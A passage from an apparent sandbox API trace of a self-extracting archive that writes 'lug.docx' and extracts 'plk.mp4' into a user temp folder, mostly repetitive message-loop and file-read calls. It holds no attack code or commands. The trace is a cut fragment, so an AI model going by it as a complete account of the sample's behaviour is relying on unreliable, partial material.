wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.518] GetTickCount () returned 0x1fbfa [0068.518] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.518] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.518] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.518] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.518] GetTickCount () returned 0x1fbfa [0068.518] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.518] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.518] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.518] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.518] GetTickCount () returned 0x1fbfa [0068.518] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.518] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.518] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.518] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.518] GetTickCount () returned 0x1fbfa [0068.518] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.518] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.518] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.518] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.518] GetTickCount () returned 0x1fbfa [0068.518] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.518] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.518] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.518] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.518] GetTickCount () returned 0x1fbfa [0068.518] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.518] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.518] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.518] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.518] GetTickCount () returned 0x1fbfa [0068.518] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.518] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.518] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.518] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.518] GetTickCount () returned 0x1fbfa [0068.519] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.519] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.519] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.519] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.540] GetTickCount () returned 0x1fc0a [0068.540] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 1 [0068.540] GetMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x171590) returned 1 [0068.540] TranslateMessage (lpMsg=0x171590) returned 0 [0068.540] DispatchMessageW (lpMsg=0x171590) returned 0x0 [0068.540] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x223, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x223, lpOverlapped=0x0) returned 1 [0068.541] GetTickCount () returned 0x1fc0a [0068.541] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.541] SetFilePointer (in: hFile=0x1c, lDistanceToMove=875166, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd5a9e [0068.541] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.541] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.541] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.541] CloseHandle (hObject=0x138) returned 1 [0068.541] SetFileAttributesA (lpFileName="lug.docx", dwFileAttributes=0x20) returned 1 [0068.542] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd5a9e [0068.542] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.542] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.542] OemToCharA (in: pSrc="plk.mp4", pDst=0x179cc0 | out: pDst="plk.mp4") returned 1 [0068.542] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="plk.mp4", cchCount2=1) returned 1 [0068.542] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="plk.mp4", cchCount2=6) returned 1 [0068.542] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="plk.mp4", cchCount2=-1) returned 1 [0068.542] SetFilePointer (in: hFile=0x1c, lDistanceToMove=875210, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd5aca [0068.542] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="plk.mp4") returned 8 [0068.542] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x41a2b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.542] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting plk.mp4") returned 18 [0068.542] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting plk.mp4") returned 1 [0068.542] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.542] OemToCharBuffA (in: lpszSrc="p", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="p") returned 1 [0068.542] CharToOemBuffA (in: lpszSrc="P", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="P") returned 1 [0068.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="plk.mp4") returned 8 [0068.543] FindFirstFileW (in: lpFileName="plk.mp4", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.543] GetLastError () returned 0x2 [0068.543] GetFileAttributesA (lpFileName="plk.mp4" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\plk.mp4")) returned 0xffffffff [0068.543] CreateFileA (lpFileName="plk.mp4" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\plk.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.543] GetFileType (hFile=0x138) returned 0x1 [0068.543] SetFilePointer (in: hFile=0x138, lDistanceToMove=559, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x22f [0068.543] SetEndOfFile (hFile=0x138) returned 1 [0068.543] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.543] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1c6, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1c6, lpOverlapped=0x0) returned 1 [0068.543] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.543] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.543] GetTickCount () returned 0x1fc0a [0068.543] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.543] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.543] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.543] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.543] GetTickCount () returned 0x1fc0a [0068.543] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.543] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.543] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.543] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.543] GetTickCount () returned 0x1fc0a [0068.543] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.544] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.544] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.544] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.544] GetTickCount () returned 0x1fc0a [0068.544] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.544] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.544] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.544] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.544] GetTickCount () returned 0x1fc0a [0068.544] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.544] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.544] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.544] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.544] GetTickCount () returned 0x1fc0a [0068.544] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.544] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.544] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.544] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.544] GetTickCount () returned 0x1fc0a [0068.544] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.544] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.544] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.544] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.544] GetTickCount () returned 0x1fc0a [0068.544] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.544] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.544] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.544] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.544] GetTickCount () returned 0x1fc0a [0068.544] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.544] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.544] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.544] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.544] GetTickCount () returned 0x1fc0a [0068.544] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.544] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.544] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.544] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.544] GetTickCount () returned 0x1fc0a [0068.544] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.544] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.544] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.544] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.544] GetTickCount () returned 0x1fc0a [0068.544] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.544] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.544] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.544] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.544] GetTickCount () returned 0x1fc0a [0068.544] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.545] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.545] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.545] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.545] GetTickCount () returned 0x1fc0a [0068.545] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.545] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.545] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.545] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.545] GetTickCount () returned 0x1fc0a [0068.545] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.545] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.545] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.545] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.545] GetTickCount () returned 0x1fc0a [0068.545] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.545] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.545] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.545] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.545] GetTickCount () returned 0x1fc0a [0068.545] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.545] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.545] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.545] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.545] GetTickCount () returned 0x1fc0a [0068.545] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.545] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.545] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.545] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.545] GetTickCount () returned 0x1fc0a [0068.545] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.545] ReadFile (in: hFile=0x1c, lpBuffer=0x27044e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.545] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.545] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.545] GetTickCount () returned 0x1fc0a [0068.545] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 